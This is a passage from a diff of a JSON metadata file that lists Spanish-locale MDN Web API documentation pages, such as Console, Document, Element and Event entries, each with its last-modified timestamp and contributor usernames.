+  "Web/API/CanvasRenderingContext2D/fillRect": {
+    "modified": "2019-03-23T22:32:43.881Z",
+    "contributors": [
+      "eljonims"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/getImageData": {
+    "modified": "2020-10-15T22:03:53.553Z",
+    "contributors": [
+      "LEUGIM99"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/lineCap": {
+    "modified": "2020-10-15T22:18:19.205Z",
+    "contributors": [
+      "Ricardo_F."
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/rotate": {
+    "modified": "2020-10-15T22:12:15.546Z",
+    "contributors": [
+      "albertor21"
+    ]
+  },
+  "Web/API/CanvasRenderingContext2D/save": {
+    "modified": "2020-10-15T22:23:30.799Z",
+    "contributors": [
+      "feiss"
+    ]
+  },
+  "Web/API/Canvas_API/Tutorial/Compositing": {
+    "modified": "2020-08-27T21:09:19.590Z",
+    "contributors": [
+      "mastertrooper",
+      "stephaniehobson"
+    ]
+  },
+  "Web/API/Canvas_API/Tutorial/Compositing/Ejemplo": {
+    "modified": "2019-03-18T21:36:04.043Z",
+    "contributors": [
+      "lajaso"
+    ]
+  },
+  "Web/API/ChildNode": {
+    "modified": "2019-03-29T14:12:39.589Z",
+    "contributors": [
+      "jpmedley"
+    ]
+  },
+  "Web/API/ChildNode/after": {
+    "modified": "2020-10-15T21:50:39.528Z",
+    "contributors": [
+      "AlePerez92",
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/ChildNode/before": {
+    "modified": "2019-03-23T22:23:28.772Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/ChildNode/remove": {
+    "modified": "2020-10-15T21:50:43.901Z",
+    "contributors": [
+      "daniel.arango",
+      "teffcode",
+      "AlePerez92",
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/ChildNode/replaceWith": {
+    "modified": "2019-03-23T22:23:34.633Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/ClipboardEvent": {
+    "modified": "2020-10-15T22:14:15.464Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/ClipboardEvent/clipboardData": {
+    "modified": "2020-10-15T22:14:15.340Z",
+    "contributors": [
+      "Bumxu"
+    ]
+  },
+  "Web/API/CloseEvent": {
+    "modified": "2020-11-24T05:35:48.408Z",
+    "contributors": [
+      "netizen",
+      "jpmontoya182"
+    ]
+  },
+  "Web/API/Comment": {
+    "modified": "2020-10-15T22:24:21.833Z",
+    "contributors": [
+      "pablorebora"
+    ]
+  },
+  "Web/API/Console": {
+    "modified": "2019-08-30T08:42:12.082Z",
+    "contributors": [
+      "ajuanjojjj",
+      "fcanellas",
+      "vlguerrero",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Console/count": {
+    "modified": "2019-03-23T22:07:26.644Z",
+    "contributors": [
+      "deluxury",
+      "roberbnd"
+    ]
+  },
+  "Web/API/Console/dir": {
+    "modified": "2020-11-11T11:46:41.122Z",
+    "contributors": [
+      "jomoji",
+      "laloptk"
+    ]
+  },
+  "Web/API/Console/dirxml": {
+    "modified": "2019-03-23T22:18:03.809Z",
+    "contributors": [
+      "aeroxmotion"
+    ]
+  },
+  "Web/API/Console/error": {
+    "modified": "2019-03-23T22:06:32.134Z",
+    "contributors": [
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/Console/info": {
+    "modified": "2019-03-23T22:12:32.604Z",
+    "contributors": [
+      "Lwissitoon"
+    ]
+  },
+  "Web/API/Console/log": {
+    "modified": "2019-03-23T22:19:48.741Z",
+    "contributors": [
+      "BrodaNoel",
+      "fcanellas"
+    ]
+  },
+  "Web/API/Console/tabla": {
+    "modified": "2019-03-23T22:20:30.589Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Console/time": {
+    "modified": "2019-03-18T21:42:22.745Z",
+    "contributors": [
+      "jotaoncode"
+    ]
+  },
+  "Web/API/Console/timeEnd": {
+    "modified": "2020-10-15T22:13:11.825Z",
+    "contributors": [
+      "xlhector10"
+    ]
+  },
+  "Web/API/Console/trace": {
+    "modified": "2019-03-23T22:22:51.545Z",
+    "contributors": [
+      "Axl-Nolasco"
+    ]
+  },
+  "Web/API/Console/warn": {
+    "modified": "2020-10-15T21:53:36.780Z",
+    "contributors": [
+      "juanluisrp",
+      "oderflaj"
+    ]
+  },
+  "Web/API/Constraint_validation": {
+    "modified": "2019-04-22T15:33:44.796Z"
+  },
+  "Web/API/Crypto": {
+    "modified": "2020-10-15T22:27:12.417Z",
+    "contributors": [
+      "joseluisq"
+    ]
+  },
+  "Web/API/Crypto/subtle": {
+    "modified": "2020-10-15T22:27:11.548Z",
+    "contributors": [
+      "joseluisq"
+    ]
+  },
+  "Web/API/CustomElementRegistry": {
+    "modified": "2020-10-15T22:29:44.444Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/API/CustomElementRegistry/define": {
+    "modified": "2020-10-15T22:29:45.200Z",
+    "contributors": [
+      "aguilerajl"
+    ]
+  },
+  "Web/API/CustomEvent": {
+    "modified": "2020-10-15T21:56:03.240Z",
+    "contributors": [
+      "fscholz",
+      "AlePerez92",
+      "daniville"
+    ]
+  },
+  "Web/API/DOMError": {
+    "modified": "2020-10-15T21:34:32.594Z",
+    "contributors": [
+      "fscholz",
+      "MauroEldritch"
+    ]
+  },
+  "Web/API/DOMParser": {
+    "modified": "2019-03-23T22:20:06.466Z",
+    "contributors": [
+      "rferraris"
+    ]
+  },
+  "Web/API/DOMString": {
+    "modified": "2019-03-18T21:41:05.316Z",
+    "contributors": [
+      "jagomf"
+    ]
+  },
+  "Web/API/DOMString/Cadenas_binarias": {
+    "modified": "2020-08-29T03:33:22.030Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/API/DataTransfer": {
+    "modified": "2019-03-23T23:17:03.398Z",
+    "contributors": [
+      "wbamberg",
+      "nmarmon",
+      "vmv",
+      "fscholz",
+      "yonatanalexis22"
+    ]
+  },
+  "Web/API/Detecting_device_orientation": {
+    "modified": "2020-08-11T08:30:00.189Z",
+    "contributors": [
+      "juancarlos.rmr",
+      "rayrojas",
+      "jairopezlo"
+    ]
+  },
+  "Web/API/DeviceMotionEvent": {
+    "modified": "2020-10-15T22:22:26.832Z",
+    "contributors": [
+      "miguelaup"
+    ]
+  },
+  "Web/API/Document": {
+    "modified": "2019-10-10T16:52:49.015Z",
+    "contributors": [
+      "luis.iglesias",
+      "AlejandroCordova",
+      "fscholz",
+      "Crash",
+      "DoctorRomi",
+      "Mgjbot",
+      "DR",
+      "Carlosds",
+      "Nathymig"
+    ]
+  },
+  "Web/API/Document/URL": {
+    "modified": "2020-10-15T21:18:01.820Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Document/abrir": {
+    "modified": "2020-10-15T22:31:23.051Z",
+    "contributors": [
+      "WillieMensa"
+    ]
+  },
+  "Web/API/Document/adoptNode": {
+    "modified": "2020-10-15T22:06:16.900Z",
+    "contributors": [
+      "AlePerez92",
+      "InfaSysKey",
+      "ANDRUS74"
+    ]
+  },
+  "Web/API/Document/alinkColor": {
+    "modified": "2019-03-23T23:46:52.743Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Document/anchors": {
+    "modified": "2020-10-15T21:18:02.380Z",
+    "contributors": [
+      "roocce",
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Document/applets": {
+    "modified": "2019-03-23T23:46:53.464Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Document/async": {
+    "modified": "2019-03-23T22:57:43.989Z",
+    "contributors": [
+      "MauroEldritch"
+    ]
+  },
+  "Web/API/Document/bgColor": {
+    "modified": "2019-03-23T23:46:48.550Z",
+    "contributors": [
+      "fscholz",
+      "DR"
+    ]
+  },
+  "Web/API/Document/body": {
+    "modified": "2019-03-23T23:47:18.556Z",
+    "contributors": [
+      "MauroEldritch",
+      "fscholz",
+      "Markens",
+      "DR"
+    ]
+  },
+  "Web/API/Document/characterSet": {
+    "modified": "2019-03-23T23:46:47.961Z",
+    "contributors": [
+      "fscholz",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Document/clear": {
+    "modified": "2019-03-23T22:27:12.101Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/API/Document/close": {
+    "modified": "2019-03-23T22:33:21.768Z",
+    "contributors": [
+      "AitorRodriguez990"
+    ]
+  },
+  "Web/API/Document/contentType": {
+    "modified": "2019-03-23T22:57:42.530Z",
+    "contributors": [
+      "MauroEldritch"
+    ]
+  },
+  "Web/API/Document/crearAtributo": {
+    "modified": "2020-10-15T21:55:08.825Z",
+    "contributors": [
+      "rodririobo",
+      "juanseromo12",
+      "FenixAlive"
+    ]
+  },
+  "Web/API/Document/createDocumentFragment": {
+    "modified": "2020-08-12T01:13:43.917Z",
+    "contributors": [
+      "zgreco2000",
+      "msaglietto"
+    ]
+  },
+  "Web/API/Document/createElement": {
+    "modified": "2019-09-19T04:18:24.578Z",
+    "contributors": [
+      "AlePerez92",
+      "Juandresyn",
+      "aitorllj93",
+      "BrodaNoel",
+      "McSonk",
+      "malonson",
+      "AlejandroBlanco",
+      "daesnorey_xy",
+      "JoaquinGonzalez"
+    ]
+  },
+  "Web/API/Document/createElementNS": {
+    "modified": "2019-03-23T22:23:11.141Z",
+    "contributors": [
+      "ErikMj69"
+    ]
+  },
+  "Web/API/Document/createRange": {
+    "modified": "2019-08-27T15:00:09.804Z",
+    "contributors": [
+      "iarah",
+      "fscholz",
+      "jsx",
+      "Mgjbot",
+      "DR"
+    ]
+  },
+  "Web/API/Document/createTextNode": {
+    "modified": "2020-10-15T22:17:21.251Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Document/defaultView": {
+    "modified": "2019-03-23T22:54:20.024Z",
+    "contributors": [
+      "ArcangelZith"
+    ]
+  },
+  "Web/API/Document/designMode": {
+    "modified": "2020-10-15T21:40:52.052Z",
+    "contributors": [
+      "AlePerez92",
+      "sohereitcomes"
+    ]
+  },
+  "Web/API/Document/dir": {
+    "modified": "2019-03-23T22:57:39.171Z",
+    "contributors": [
+      "MauroEldritch"
+    ]
+  },
+  "Web/API/Document/doctype": {
+    "modified": "2019-03-23T22:43:25.055Z",
+    "contributors": [
+      "joselix"
+    ]
+  },
+  "Web/API/Document/documentElement": {
+    "modified": "2019-03-23T23:50:27.852Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Document/documentURI": {
+    "modified": "2019-03-23T22:39:59.389Z",
+    "contributors": [
+      "Zholary"
+    ]
+  },
+  "Web/API/Document/documentURIObject": {
+    "modified": "2019-03-23T23:50:26.462Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Document/dragover_event": {
+    "modified": "2019-04-30T14:24:25.773Z",
+    "contributors": [
+      "wbamberg",
+      "fscholz",
+      "ExE-Boss",
+      "Vickysolo"
+    ]
+  },
+  "Web/API/Document/embeds": {
+    "modified": "2020-10-15T22:22:17.171Z",
+    "contributors": [
+      "iarah"
+    ]
+  },
+  "Web/API/Document/evaluate": {
+    "modified": "2019-03-23T22:10:41.891Z",
+    "contributors": [
+      "bryan3561"
+    ]
+  },
+  "Web/API/Document/execCommand": {
+    "modified": "2019-03-23T22:59:11.227Z",
+    "contributors": [
+      "MarkelCuesta",
+      "asero82",
+      "javatlacati"
+    ]
+  },
+  "Web/API/Document/exitFullscreen": {
+    "modified": "2020-10-15T22:23:56.627Z",
+    "contributors": [
+      "davidmartinezfl"
+    ]
+  },
+  "Web/API/Document/getElementById": {
+    "modified": "2019-03-23T23:46:23.291Z",
+    "contributors": [
+      "Enesimus",
+      "jlpindado",
+      "pclifecl",
+      "OLiiver",
+      "fscholz",
+      "teoli",
+      "tuxisma",
+      "Juan c c q"
+    ]
+  },
+  "Web/API/Document/getElementsByClassName": {
+    "modified": "2019-03-23T22:48:57.077Z",
+    "contributors": [
+      "JuanMacias",
+      "JungkookScript",
+      "ncaracci"
+    ]
+  },
+  "Web/API/Document/getElementsByName": {
+    "modified": "2019-03-18T21:37:32.461Z",
+    "contributors": [
+      "MikeGsus"
+    ]
+  },
+  "Web/API/Document/getElementsByTagName": {
+    "modified": "2019-03-23T23:50:32.110Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "teoli",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Document/getElementsByTagNameNS": {
+    "modified": "2019-03-23T23:50:38.494Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "AlejandroSilva",
+      "leopic",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Document/getSelection": {
+    "modified": "2019-03-23T22:54:50.239Z",
+    "contributors": [
+      "Diferno"
+    ]
+  },
+  "Web/API/Document/hasFocus": {
+    "modified": "2019-03-23T23:53:13.498Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "Mgjbot",
+      "Talisker",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Document/head": {
+    "modified": "2019-03-23T22:55:43.504Z",
+    "contributors": [
+      "federicobond"
+    ]
+  },
+  "Web/API/Document/height": {
+    "modified": "2019-03-23T22:09:21.631Z",
+    "contributors": [
+      "HarleySG"
+    ]
+  },
+  "Web/API/Document/hidden": {
+    "modified": "2020-10-15T22:14:24.023Z",
+    "contributors": [
+      "Elenito93"
+    ]
+  },
+  "Web/API/Document/importNode": {
+    "modified": "2020-10-15T21:52:00.631Z",
+    "contributors": [
+      "fscholz",
+      "wbamberg",
+      "AsLogd"
+    ]
+  },
+  "Web/API/Document/keydown_event": {
+    "modified": "2020-04-03T23:31:41.800Z",
+    "contributors": [
+      "camsa",
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "juan-ferrer-toribio"
+    ]
+  },
+  "Web/API/Document/keyup_event": {
+    "modified": "2019-04-18T03:50:20.204Z",
+    "contributors": [
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "gabojkz"
+    ]
+  },
+  "Web/API/Document/pointerLockElement": {
+    "modified": "2019-03-23T22:05:31.350Z",
+    "contributors": [
+      "arquigames"
+    ]
+  },
+  "Web/API/Document/querySelector": {
+    "modified": "2019-03-23T22:58:51.923Z",
+    "contributors": [
+      "BrodaNoel",
+      "Luis_Calvo",
+      "dannysalazar90"
+    ]
+  },
+  "Web/API/Document/querySelectorAll": {
+    "modified": "2020-10-15T21:34:24.234Z",
+    "contributors": [
+      "chrisdavidmills",
+      "AlePerez92",
+      "padrecedano",
+      "lfottaviano",
+      "joeljose"
+    ]
+  },
+  "Web/API/Document/readyState": {
+    "modified": "2019-03-23T22:46:17.268Z",
+    "contributors": [
+      "Codejobs"
+    ]
+  },
+  "Web/API/Document/registerElement": {
+    "modified": "2019-03-23T22:58:15.536Z",
+    "contributors": [
+      "SphinxKnight",
+      "AlePerez92",
+      "mclo",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/Document/scripts": {
+    "modified": "2019-03-23T22:57:42.662Z",
+    "contributors": [
+      "MauroEldritch"
+    ]
+  },
+  "Web/API/Document/scroll_event": {
+    "modified": "2020-04-13T22:20:51.709Z",
+    "contributors": [
+      "camsa",
+      "irenesmith",
+      "ExE-Boss",
+      "arkgast",
+      "fscholz",
+      "PatoDeTuring",
+      "Thargelion"
+    ]
+  },
+  "Web/API/Document/styleSheets": {
+    "modified": "2019-03-23T23:58:05.224Z",
+    "contributors": [
+      "fscholz",
+      "jsx",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Document/write": {
+    "modified": "2019-03-23T22:26:37.503Z",
+    "contributors": [
+      "JohnnyKB",
+      "bastiantowers"
+    ]
+  },
+  "Web/API/Document/writeln": {
+    "modified": "2019-03-23T22:21:05.956Z",
+    "contributors": [
+      "mauroc8"
+    ]
+  },
+  "Web/API/DocumentFragment": {
+    "modified": "2020-10-15T22:29:37.426Z",
+    "contributors": [
+      "JooseNavarro"
+    ]
+  },
+  "Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core/Example": {
+    "modified": "2019-03-23T22:06:28.946Z",
+    "contributors": [
+      "BrodaNoel"
+    ]
+  },
+  "Web/API/DragEvent": {
+    "modified": "2020-11-04T23:21:08.729Z",
+    "contributors": [
+      "AngelFQC"
+    ]
+  },
+  "Web/API/Element": {
+    "modified": "2019-03-24T00:06:42.464Z",
+    "contributors": [
+      "carllewisc",
+      "JuanMacias",
+      "SphinxKnight",
+      "fscholz",
+      "teoli",
+      "webmaster",
+      "AshfaqHossain",
+      "MARCASTELEON",
+      "Markens",
+      "Mgjbot",
+      "Nathymig"
+    ]
+  },
+  "Web/API/Element/accessKey": {
+    "modified": "2019-03-23T22:26:12.172Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/animate": {
+    "modified": "2019-03-23T22:26:03.841Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/attachShadow": {
+    "modified": "2020-10-15T22:29:44.635Z",
+    "contributors": [
+      "aguilerajl"
+    ]
+  },
+  "Web/API/Element/attributes": {
+    "modified": "2019-03-23T22:32:35.186Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/classList": {
+    "modified": "2019-08-07T11:56:45.170Z",
+    "contributors": [
+      "AlePerez92",
+      "alkaithil",
+      "luispuchades"
+    ]
+  },
+  "Web/API/Element/className": {
+    "modified": "2019-03-23T22:32:39.589Z",
+    "contributors": [
+      "AlePerez92",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/click_event": {
+    "modified": "2019-03-18T20:47:32.813Z",
+    "contributors": [
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "jvas28"
+    ]
+  },
+  "Web/API/Element/clientHeight": {
+    "modified": "2019-03-18T20:59:01.264Z",
+    "contributors": [
+      "SphinxKnight",
+      "maxijb",
+      "germanfr"
+    ]
+  },
+  "Web/API/Element/clientLeft": {
+    "modified": "2019-03-23T23:50:22.640Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Element/clientTop": {
+    "modified": "2019-03-23T23:50:18.628Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "AshfaqHossain",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Element/clientWidth": {
+    "modified": "2020-10-15T21:46:17.283Z",
+    "contributors": [
+      "SphinxKnight",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/closest": {
+    "modified": "2020-10-15T21:51:29.500Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Element/computedStyleMap": {
+    "modified": "2020-11-20T23:32:12.573Z",
+    "contributors": [
+      "mrkadium"
+    ]
+  },
+  "Web/API/Element/currentStyle": {
+    "modified": "2019-03-23T22:26:01.738Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/getAttribute": {
+    "modified": "2019-03-23T22:55:05.590Z",
+    "contributors": [
+      "germanfr",
+      "hawkins"
+    ]
+  },
+  "Web/API/Element/getAttributeNodeNS": {
+    "modified": "2019-03-18T21:40:41.705Z",
+    "contributors": [
+      "FcoJavierEsc"
+    ]
+  },
+  "Web/API/Element/getBoundingClientRect": {
+    "modified": "2020-10-15T21:16:26.376Z",
+    "contributors": [
+      "AlePerez92",
+      "slam",
+      "cristianmartinez",
+      "SphinxKnight",
+      "joseanpg",
+      "jzatarain",
+      "fscholz",
+      "jsx",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Element/getClientRects": {
+    "modified": "2019-03-23T23:50:31.325Z",
+    "contributors": [
+      "SphinxKnight",
+      "edhzsz",
+      "fscholz",
+      "khalid32",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Element/getElementsByClassName": {
+    "modified": "2019-03-23T22:32:46.843Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/getElementsByTagName": {
+    "modified": "2019-03-23T23:53:30.735Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Element/getElementsByTagNameNS": {
+    "modified": "2019-03-18T21:15:33.018Z",
+    "contributors": [
+      "cguimaraenz"
+    ]
+  },
+  "Web/API/Element/hasAttribute": {
+    "modified": "2019-03-23T22:12:50.721Z",
+    "contributors": [
+      "ElChiniNet"
+    ]
+  },
+  "Web/API/Element/id": {
+    "modified": "2019-03-23T22:26:11.048Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/innerHTML": {
+    "modified": "2019-03-18T20:58:51.922Z",
+    "contributors": [
+      "SphinxKnight",
+      "IsaacAaron",
+      "BrodaNoel",
+      "CristhianLora1",
+      "fscholz",
+      "teoli",
+      "JAparici"
+    ]
+  },
+  "Web/API/Element/insertAdjacentElement": {
+    "modified": "2020-12-03T10:36:12.400Z",
+    "contributors": [
+      "AlePerez92",
+      "alexlndn",
+      "AgustinPrieto"
+    ]
+  },
+  "Web/API/Element/insertAdjacentHTML": {
+    "modified": "2020-10-15T21:56:01.516Z",
+    "contributors": [
+      "AlePerez92",
+      "mikekrn"
+    ]
+  },
+  "Web/API/Element/localName": {
+    "modified": "2019-03-23T22:26:08.984Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/matches": {
+    "modified": "2020-12-06T16:23:07.481Z",
+    "contributors": [
+      "AlePerez92",
+      "amIsmael",
+      "nbouvrette",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/mousedown_event": {
+    "modified": "2019-03-18T20:41:57.554Z",
+    "contributors": [
+      "irenesmith",
+      "ExE-Boss",
+      "fscholz",
+      "marydn"
+    ]
+  },
+  "Web/API/Element/name": {
+    "modified": "2019-03-23T22:26:11.317Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/namespaceURI": {
+    "modified": "2019-03-23T22:25:51.573Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/ongotpointercapture": {
+    "modified": "2019-03-23T22:25:49.346Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/onlostpointercapture": {
+    "modified": "2019-03-23T22:25:49.190Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/onwheel": {
+    "modified": "2019-03-18T21:09:09.483Z",
+    "contributors": [
+      "fscholz",
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/outerHTML": {
+    "modified": "2019-03-23T22:32:38.203Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/prefix": {
+    "modified": "2019-03-23T22:25:56.753Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/querySelector": {
+    "modified": "2020-10-01T13:45:10.425Z",
+    "contributors": [
+      "Augusto-Ruiz",
+      "Luis_Calvo",
+      "Fx-Enlcxx"
+    ]
+  },
+  "Web/API/Element/removeAttribute": {
+    "modified": "2019-03-23T22:32:43.147Z",
+    "contributors": [
+      "AlePerez92",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/requestFullScreen": {
+    "modified": "2019-03-23T22:46:59.466Z",
+    "contributors": [
+      "joseamn1"
+    ]
+  },
+  "Web/API/Element/runtimeStyle": {
+    "modified": "2019-03-23T22:25:35.378Z",
+    "contributors": [
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/scrollHeight": {
+    "modified": "2020-09-19T11:38:52.843Z",
+    "contributors": [
+      "amfolgar",
+      "SphinxKnight",
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/scrollIntoView": {
+    "modified": "2020-08-02T20:51:14.523Z",
+    "contributors": [
+      "maketas",
+      "avaleriani",
+      "magorismagor",
+      "germanfr"
+    ]
+  },
+  "Web/API/Element/scrollLeft": {
+    "modified": "2019-03-18T20:59:11.327Z",
+    "contributors": [
+      "SphinxKnight",
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/scrollTop": {
+    "modified": "2019-03-23T22:32:41.577Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/scrollTopMax": {
+    "modified": "2019-03-23T22:16:03.156Z",
+    "contributors": [
+      "lizzie136"
+    ]
+  },
+  "Web/API/Element/scrollWidth": {
+    "modified": "2020-10-15T21:46:17.244Z",
+    "contributors": [
+      "SphinxKnight",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Element/setAttribute": {
+    "modified": "2019-03-23T23:58:09.577Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "AshfaqHossain",
+      "teoli",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Element/setAttributeNS": {
+    "modified": "2019-03-23T22:29:35.252Z",
+    "contributors": [
+      "developersoul"
+    ]
+  },
+  "Web/API/Element/setCapture": {
+    "modified": "2019-03-23T22:23:40.163Z",
+    "contributors": [
+      "wbamberg",
+      "SoftwareRVG"
+    ]
+  },
+  "Web/API/Element/shadowRoot": {
+    "modified": "2020-10-15T22:21:04.049Z",
+    "contributors": [
+      "quintero_japon"
+    ]
+  },
+  "Web/API/Element/tagName": {
+    "modified": "2019-03-23T23:53:26.081Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Element/wheel_event": {
+    "modified": "2019-04-08T07:24:47.493Z",
+    "contributors": [
+      "irenesmith",
+      "fscholz",
+      "ExE-Boss",
+      "dimuziop",
+      "Thargelion",
+      "PRDeving"
+    ]
+  },
+  "Web/API/ElementosHTMLparaVideo": {
+    "modified": "2019-06-22T13:44:40.927Z",
+    "contributors": [
+      "Santi72Alc",
+      "myrnafig"
+    ]
+  },
+  "Web/API/Event": {
+    "modified": "2019-03-24T00:00:03.889Z",
+    "contributors": [
+      "wbamberg",
+      "jesmarquez",
+      "fscholz",
+      "cesardelahoz",
+      "Mgjbot",
+      "Markens",
+      "DR",
+      "Nathymig"
+    ]
+  },
+  "Web/API/Event/Event": {
+    "modified": "2020-10-15T21:51:25.582Z",
+    "contributors": [
+      "fscholz",
+      "malonson"
+    ]
+  },
+  "Web/API/Event/bubbles": {
+    "modified": "2019-03-23T23:50:25.843Z",
+    "contributors": [
+      "SphinxKnight",
+      "DeiberChacon",
+      "fscholz",
+      "khalid32",
+      "HenryGR",
+      "Mgjbot"
+    ]
+  },
+  "Web/API/Event/cancelable": {
+    "modified": "2019-03-23T23:53:29.694Z",
+    "contributors": [
+      "fscholz",
+      "hardhik",
+      "AshfaqHossain",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Event/createEvent": {
+    "modified": "2019-03-23T22:01:26.841Z",
+    "contributors": [
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Event/currentTarget": {
+    "modified": "2020-10-15T21:56:21.779Z",
+    "contributors": [
+      "AlePerez92",
+      "KacosPro",
+      "roberbnd"
+    ]
+  },
+  "Web/API/Event/defaultPrevented": {
+    "modified": "2019-03-23T23:06:29.767Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "matajm"
+    ]
+  },
+  "Web/API/Event/initEvent": {
+    "modified": "2019-03-23T23:53:14.885Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "AndresSaa",
+      "AshfaqHossain",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Event/preventDefault": {
+    "modified": "2019-03-23T23:53:27.022Z",
+    "contributors": [
+      "SphinxKnight",
+      "fscholz",
+      "khalid32",
+      "Mgjbot",
+      "HenryGR"
+    ]
+  },
+  "Web/API/Event/stopPropagation": {
+    "modified": "2019-03-18T20:37:26.213Z",
+    "contributors": [
+      "sebaLinares",
+      "theskear",
+      "AlePerez92"
+    ]
+  },
+  "Web/API/Event/target": {
+    "modified": "2020-11-21T17:52:42.977Z",
+    "contributors": [
+      "fernandoarmonellifiedler",
+      "luchosr",
+      "Eyurivilc",
+      "roberbnd"
+    ]
+  },
+  "Web/API/Event/type": {
+    "modified": "2020-10-15T21:21:03.258Z",
+    "contributors": [
+      "AlePerez92",
+      "javier1nc",
+      "fscholz",
+      "Chacho"
+    ]
+  },
+  "Web/API/EventListener": {
+    "modified": "2019-03-23T22:49:37.176Z",
+    "contributors": [
+      "gdlm91",
+      "japho"
+    ]
+  },
+  "Web/API/EventSource": {
+    "modified": "2019-03-23T22:10:23.912Z",
+    "contributors": [
+      "Jabi"
+    ]
+  },
+  "Web/API/EventSource/onopen": {
+    "modified": "2019-03-23T22:03:59.180Z",
+    "contributors": [
+      "Hoosep"
+    ]
+  },
+  "Web/API/EventTarget": {
+    "modified": "2020-10-26T17:08:31.808Z",
+    "contributors": [
+      "Ktoxcon",
+      "diazpolanco13",
+      "jorgeherrera9103",
+      "fscholz"
+    ]
+  },
+  "Web/API/EventTarget/addEventListener": {
+    "modified": "2020-10-24T17:14:12.317Z",
+    "contributors": [
+      "codesandtags",
+      "wbamberg",
+      "padrecedano",
+      "LuxDie",
+      "juanbrujo",
+      "StripTM",
+      "fscholz",
+      "samurai-code",
+      "Josias",
+      "edulon",
